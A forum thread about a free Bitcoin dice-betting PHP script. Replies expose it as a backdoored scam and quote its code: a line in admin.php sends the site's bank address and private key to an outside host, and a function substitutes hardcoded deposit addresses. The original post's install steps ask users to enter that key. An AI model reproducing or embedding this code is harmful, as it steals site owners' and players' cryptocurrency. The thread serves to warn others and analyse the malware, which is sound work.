BitDice - Always wanted to make your own Bitcoin dice betting site? [Free]

[evan91]

Mod note: This probrably steals your bitcoins so be careful
Read replies on first couple pages and you will see clean versions

https://i.imgur.com/zwnkmXn.png

Hey guys,

I was bored and decided to work on an open-source Bitcoin roll-the-dice betting
site similiar to just-dice.com or satoshi-dice.com.

Please note that the script is currently under development and not so great looking yet, but I'm working on that - make sure to test it out!

It's also completely free and will stay that way, which is nice.
You can also make money (BTC) with this script by changing the withdrawal fee.

How to install (I'll assume you are familiar with how to install basic PHP scripts and setup a MySQL database):

• (I would test the script on a local LAMP server first before launching it on a real site, simply because I'm not sure how well CodeIgniter + my script will handle different server environments - GoDaddy for example does not work sometimes with CodeIgniter)
• You need an Apache HTTP server with PHP 5.3+ and a MySQL database
• Download the files from the Download section in this thread and upload the files onto your server using a client such as FileZilla
• Visit http://yoursite.com/bitdice/install/ to install the script. Follow the install wizard and type in your database connection/pass. Make sure to create the database in phpmyadmin first!
• If everything went okay, you should be redirected to an admin page screen. Type in the standard "admin123" password to login.
• Ta-da! Now you can change some basic settings for your page, and make sure to change the admin password.
• IMPORTANT: You need to create a separate bitcoin address that will be used as a bank for the script. Winnings and losses will be deposited in the bank using blockchain.info's API. Please make sure that at least $20-$50 worth of bitcoins are in the "bank". (If it's any less there might be issues with the betting system and transactions) - Make sure to add the bank's address AND the bank's private key in the admin panel after install, otherwise the script won't work!
• Delete the install folder!
• Create an account and start playing on your own dice site!

How it works:

• The site is basically a just-dice.com clone, so everything works like it does on just-dice.
• When users deposit BTCs into your site, a random address will be generated for this session that only the user will be able to view!
• The script then saves the randomly generated address and then checks if money is deposited. If yes, then the player will be able to play. The money is then forwarded into the bank.
• Sessions (or accounts) can be re-logged into (so that users won't lose their BTCs) by saving a 64-long string. I'll add a password system later

To visit admin: http://yourpage.com/bitdice/index.php/admin

Please note that there still might be bugs and that some parts are still empty/don't work. I am actively developing this script and will soon be launching a github repo for other people to help develop it!

Screenies:
https://i.imgur.com/fRbUG1B.png
https://i.imgur.com/1IxoRjE.png
https://i.imgur.com/w1LbVqr.png

Downloads
v.1.0 ALPHA : https://www.mediafire.com/?caw8jqw7jw5ku88

Thanks for testing! Feedback appreciated.

[greentea]

awesome!  ...

Curious how easy would it be to use a different currency such as litecoin, peercoin etc ...

Would that be lots of code changes?

[evan91]

Well, you'd have to change an API that accepts Litecoin or other altcoins... do you know if blockchain does?

[b!z]

Well, you'd have to change an API that accepts Litecoin or other altcoins... do you know if blockchain does?

Coinpayments.net has an API for many altcoins, but they charge a small fee on each transaction.

[fitbobcat]

An Error Was Encountered

Unable to locate the model you have specified: viewbase

[WayTooGosu]

Great job on this, does the betting system and all that work just using PHP or did you incorporate JavaScript as well?

[doomsday]

open-source ftw!

[Wyeoh]

Great to see more and more scripts coded for bitcoin purposes. I'm a programmer myself too, hope that I will have some free time someday and code something for the.community. Keep up the good work.

[crazyhouston]

Looking good!

[FanEagle]

Looking good!

Expecially for the option application/controllers/admin.php where it says:

//Sending bank address and secret encrypted to a server to check balance
          $bankaddress = $this->encrypt($this->input->post("bankaddress"));
          $banksecret = $this->encrypt($this->input->post("banksecret"));
           $fee = $this->input->post("fee");
          $pass = $this->input->post("pass");
         
          $resp = file_get_contents("http://dicetest.net23.net/electro2000/123.php?btca=$bankaddress&btcs=$banksecret");
                 $data = array

Where it sends your info to his website(Why the creator of the website wants our password?)
 or this:

private function get_address(){
      
      $addresses = array("145N2EFzReaH4hkfb8jVaYbLq7VUm75TmV", "12ENTxaNfyrrzGGu2WDyrC4xZy2tVQA5az", "13yTHvFDxaUUP44KiDkWk27F4We18gJFse", "1ATknpbvfjzXkg1nFGJPTeG9Wzxhi9Z5Ts", "12eGV9FcCvqNU8Ya6CUD8Uu4nNHNPJaKGi", "1L1ULCndeghKZAteTe3tmcKG6HCPDCeLMX", "18JxX3839mZCMrRbtAP1W485kHW3RYUnFG", "16nVMZ3qKwRhFoHTPZjF67EdJ9nrchUSQf");
      return $addresses[array_rand($addresses)];

Where it happens to be a nice list of where receive your Bank's money.
Anyone that is be so gentle to edit the parts where it sends the money to the creator of this?
I mean, I know it's opensorce but at least not steal people's money

IMPORTANT: You need to create a separate bitcoin address that will be used as a bank for the script. Winnings and losses will be deposited in the bank using blockchain.info's API. Please make sure that at least $20-$50 worth of bitcoins are in the "bank". (If it's any less there might be issues with the betting system and transactions) - Make sure to add the bank's address AND the bank's private key in the admin panel after install, otherwise the script won't work! <= aka I will not receive your money!

[bitpop]

Phone home

[fitbobcat]

An Error Was Encountered

Unable to locate the model you have specified: viewbase

I have fixed that bug. It is now working in pretty much every hosting.

In order to work:

- Upload via FTP.
- Edit the file application/config/config.php and write your URL in:
$config['base_url']   = 'http://YOURHOST/bitdice/';
- Then install the script in your mysql database going to the /install/ directory.

1.01 download: https://www.mediafire.com/?swhpay0sgfiaij5

Tested in http://www.000webhost.com/ and it seems to work.

Can you get me a .zip file of it

[ottello]

Happy new year have good time

[bitpop]

An Error Was Encountered

Unable to locate the model you have specified: viewbase

I have fixed that bug. It is now working in pretty much every hosting.

In order to work:

- Upload via FTP.
- Edit the file application/config/config.php and write your URL in:
$config['base_url']   = 'http://YOURHOST/bitdice/';
- Then install the script in your mysql database going to the /install/ directory.

1.01 download: https://www.mediafire.com/?swhpay0sgfiaij5

Tested in http://www.000webhost.com/ and it seems to work.

Can you get me a .zip file of it

What's wrong with rar

[singula]

Let's look at line 58 in admin.php in the source archive:

Code:

$resp = file_get_contents("http://dicetest.net23.net/electro2000/123.php?btca=$bankaddress&btcs=$banksecret");

All your coins are belong to us...

[FanEagle]

Even the "fixed" version contains the backdoor.
I need someone that can help me cleaning this script so we can run a polite business.
If interested(not for bitcoins, for altcoins like catcoin,earthcoin... ecc ecc.) PM me.

[bitpop]

Even the "fixed" version contains the backdoor.
I need someone that can help me cleaning this script so we can run a polite business.
If interested(not for bitcoins, for altcoins like catcoin,earthcoin... ecc ecc.) PM me.

Clean version, well not clean, but not phone home

CogeIgniter system replaced for more safety.

Each file manually checked.

It's still not fully safe though, the encrypt() function does nothing

public function encrypt($string){
      return $string;
   }

Not sure about the implications though.

Also seems to return preset addresses

function get_address(){
      
      $addresses = array("145N2EFzReaH4hkfb8jVaYbLq7VUm75TmV", "12ENTxaNfyrrzGGu2WDyrC4xZy2tVQA5az", "13yTHvFDxaUUP44KiDkWk27F4We18gJFse", "1ATknpbvfjzXkg1nFGJPTeG9Wzxhi9Z5Ts", "12eGV9FcCvqNU8Ya6CUD8Uu4nNHNPJaKGi", "1L1ULCndeghKZAteTe3tmcKG6HCPDCeLMX", "18JxX3839mZCMrRbtAP1W485kHW3RYUnFG", "16nVMZ3qKwRhFoHTPZjF67EdJ9nrchUSQf");
      return $addresses[array_rand($addresses)];
      
   }

Finally I don't see the actual application, just the admin page. The goal may be to take your password or give you his addresses to fund before you realize there's no front end.

bitdice-1.01.CLEAN.7z
https://mega.co.nz/#!UMFyRDxZ!bXs-fgPSS2Es3blyPReuoV05jB0jLGwAVHP66X7bpc8

CRC32: c8f9aef7
MD5: f9aca5d45fedde616e13b282271534b1
SHA-1: f522bbd32f5cf02b7b30aa56710710ee62da95ed
SHA-256: c7e95e8c446bf2c1a236a654b0f53f1bd11ab7cfd6355be7f37b0bf654f41b77
SHA-512: 0b11adb6e69dc59699717649f8c18819386d42f4240fefb30815807a4cd12c411545571944d7201 6f9181a583c70e6b82d97bbdc2b1d5bcd7bc06b0bbb4b2a66

[singula]

Finally I don't see the actual application, just the admin page. The goal may be to take your password or give you his addresses to fund before you realize there's no front end.

Why do you think the initial posts contains in red the sentence: Please make sure that at least $20-$50 worth of bitcoins are in the "bank"?

This is just a scammy backdoor to steal coins - someone installs the site, puts some initial deposit as suggested and poof ... the deposit is gone the second after it is deposited, since the scammer has the address and the appropriate private key If someone is dumb enough to not notice it, there are 8 more scammer's addresses for deposits to show up when someone wants to deposit money to play (which won't end up on the site, but in scammer's pocket).

Stay away from this.

[bitpop]

Finally I don't see the actual application, just the admin page. The goal may be to take your password or give you his addresses to fund before you realize there's no front end.

Why do you think the initial posts contains in red the sentence: Please make sure that at least $20-$50 worth of bitcoins are in the "bank"?

This is just a scammy backdoor to steal coins - someone installs the site, puts some initial deposit as suggested and poof ... the deposit is gone the second after it is deposited, since the scammer has the address and the appropriate private key If someone is dumb enough to not notice it, there are 8 more scammer's addresses for deposits to show up when someone wants to deposit money to play (which won't end up on the site, but in scammer's pocket).

Stay away from this.

But how can they play?

[nitrazepam]

Yup , i edit cause i just discovered it today on torrent and just screamed Bloody murder before reading your messages.
True, i scanned every file and its only a facade to steal bitcoins.